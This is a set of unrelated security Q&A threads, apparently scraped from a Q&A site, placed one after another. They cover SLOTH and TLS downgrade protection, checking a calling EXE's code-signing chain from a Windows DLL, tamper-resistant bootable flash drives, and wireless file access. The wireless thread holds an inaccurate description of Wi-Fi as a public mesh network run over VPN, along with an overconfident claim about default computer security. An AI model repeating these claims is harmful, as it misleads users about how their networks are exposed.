To protect the whole process the Finished messages (which are exchanged at the end of the handshake) contain a hash (HMAC) of all previous sent messages and therefore allow client and server to verify the integrity of these messages.

In SSL 3.0 up to TLS 1.1 a combination of MD5 and SHA-1 is used. In TLS 1.2 the HMAC defined in the cipher is used. Further details are explained here.
The issue is that the key used in the HMAC and the HMAC itself can be weak. E.g. could the HMAC be using a MD5 hash (as in the SLOTH attack against TLS 1.2).
This was also explained by the discoverer of the SLOTH attack (specifically look a slide 8).
They conclude:

  The TLS downgrade protection mechanism
  itself depends on downgradeable parameters.
    - hence, the only fix is to find and disable all weak
  parameters: groups, curves, mac algorithms,...

How the downgrade attacks on EXPORT ciphers work in detail is explained in this answer.


Validate Code Signing Root Certificate Offline I am developing a library distributed as a Windows DLL to be called by 3rd party executables. I expect the calling EXE to be digitally signed and need to verify that.

I have no control over the computer on which my code will run. How do I validate if the calling executable is signed by a trusted, well-known CA such as Verisign or Symantec at the top of the certificate chain?
I need to do this offline.

I have considered the following:

Look for the strings "Verisign" and "Symantec" in the certificate
subject.
Compare certificate serial nos. against a list of serial nos. known
to be valid.
Compare certificate thumbprint against a list of known thumbprints.

However, I know that 1 and 2 can be spoofed. About 3, I am not sure about spoofing but how reliable is it when considering expiry and revocation?

First, you need to ask Windows to validate the signature on the EXE. Your DLL can do this using the WinVerifyTrust() API, and Microsoft provide example code for doing this here.

That will tell you that the Windows you're running on is happy with the signature on the EXE. A maliciously configured machine could have an EXE signed with a self-issued certificate that had been installed on the machine, so this doesn't fulfil all your requirements, but it does it least force the opponent to do his job thoroughly.

Then, to check on the certificates, use CertGetCertificateChain(), followed by CertVerifyCertificateChainPolicy(). You can ask these functions to check for revocation, and do several other kinds of check: it's worth reading their documentation closely. There's an example program here.

Through these APIs, you can get the CERT_INFO structures for the certificates in the appropriate chain, and can check those however you like.

If you know which certificates could have been used to make valid signatures, the strongest check is to get the public keys from the certificates in the chain and check them against the public keys of the known certificates.

There is a counter to this check, if the opponent is smart, which is to edit your DLL to change the public keys stored in it to the ones the opponent is using. So you have to hide those public keys, by encrypting them, spreading their bits out over a larger piece of data, or similar tricks. Most software copy-protection comes down to trying to hide data from an opponent while still making use of it, and this is no exception. A sufficiently persistent opponent will always win this battle; your task is to make it sufficiently difficult that they give up before solving the problem.


Is there such thing as a password enforced write protected flash drive? We would like to provide a flash drive to a client, that they can boot to, which includes a read-only operating system of our own customization, probably Linux. Every boot, it starts from clean slate.

With the current setup, a person with physical access to the drive could switch the write protect switch, inject some code that calls back their own server, flip the switch back, and we may or may not be able to detect that the code was injected, when booting, because once booted, the OS could be tampered to hide the injected files from boot integrity checksumming, or modify the checksumming routine not to check the injected files.

What I would like is to put a password on the flash drive, so the write protect can only be disabled if we enter the password.

Is there such a device with the additional hardware/firmware countermeasure I refer to? What would it be called, how could I find this type of product?
For an operating system that is required to contact our server equipment, do you have an alternate suggestion of how to detect and/or prevent operating system tamper such as this?

You could encrypt the USB drive with truecrypt, then install your distro inside truecrypt to protect it. This wouldn't satisfy the write-protected requirement, but seems the best option considering everything else you're asking.

https://kb.berkeley.edu/jivekb/servlet/KbServlet/download/1625-102-55/


Can a computer's contents be downloaded wirelessly? So my calculus teacher, who also teaches computer science, claims that a computer's entire filesystem can be downloaded wirelessly by anyone on the same network?

As a Ruby on Rails professional, networking/security dabbler, and science/technology enthusiast, I am almost positive he is an eccentric conspiracy-theorist/doomsday fan. Is there any truth to what he is saying?

So essentially what I have seen is that it is, as I suspected, practically impossible in the case of the standard computer user. Most computer users do not have server processes running, and even users who do like myself, are not at risk because of the vast measures of security given to me by the great creators of my computer (apple). It seems that a user would need to have a flagrant disregard for tampering with built in security subsets. Also the nature of the attack would need to be very personalized given cross-platform consistency. Thank you all for your input!

-Brian

In a corporate intranet it is not uncommon for the hard drives of every computer to be accessible through Windows Shares/Samba for ease of IT Support. If your teacher has encountered this, he may infer the same for any intranet and for wireless also.

In practice wireless networks are secured differently from wired networks as wired network topology and security can be controlled through routers and switches; while a wireless network is a public mesh network of nearby transceivers converted into whatever logical networks a device has authentication for, using some flavour of VPN.

Obviously if the computer's wireless interface is off then siphoning of data in this fashion is impossible. If it is on, the security of computer will depend on the intelligence and robustness of the firewall and firmware stack.

If you aren't running a service (implicit "helpful" Windows defaults or otherwise) that serves file content, the attacker will have to breach your computer sufficiently to install a siphoning tool or reactivate built-in file servers. This breach can also be user installed trojans.

Short answer: Yes if the wireless interface is turn on; but unlikely with even modest security precautions.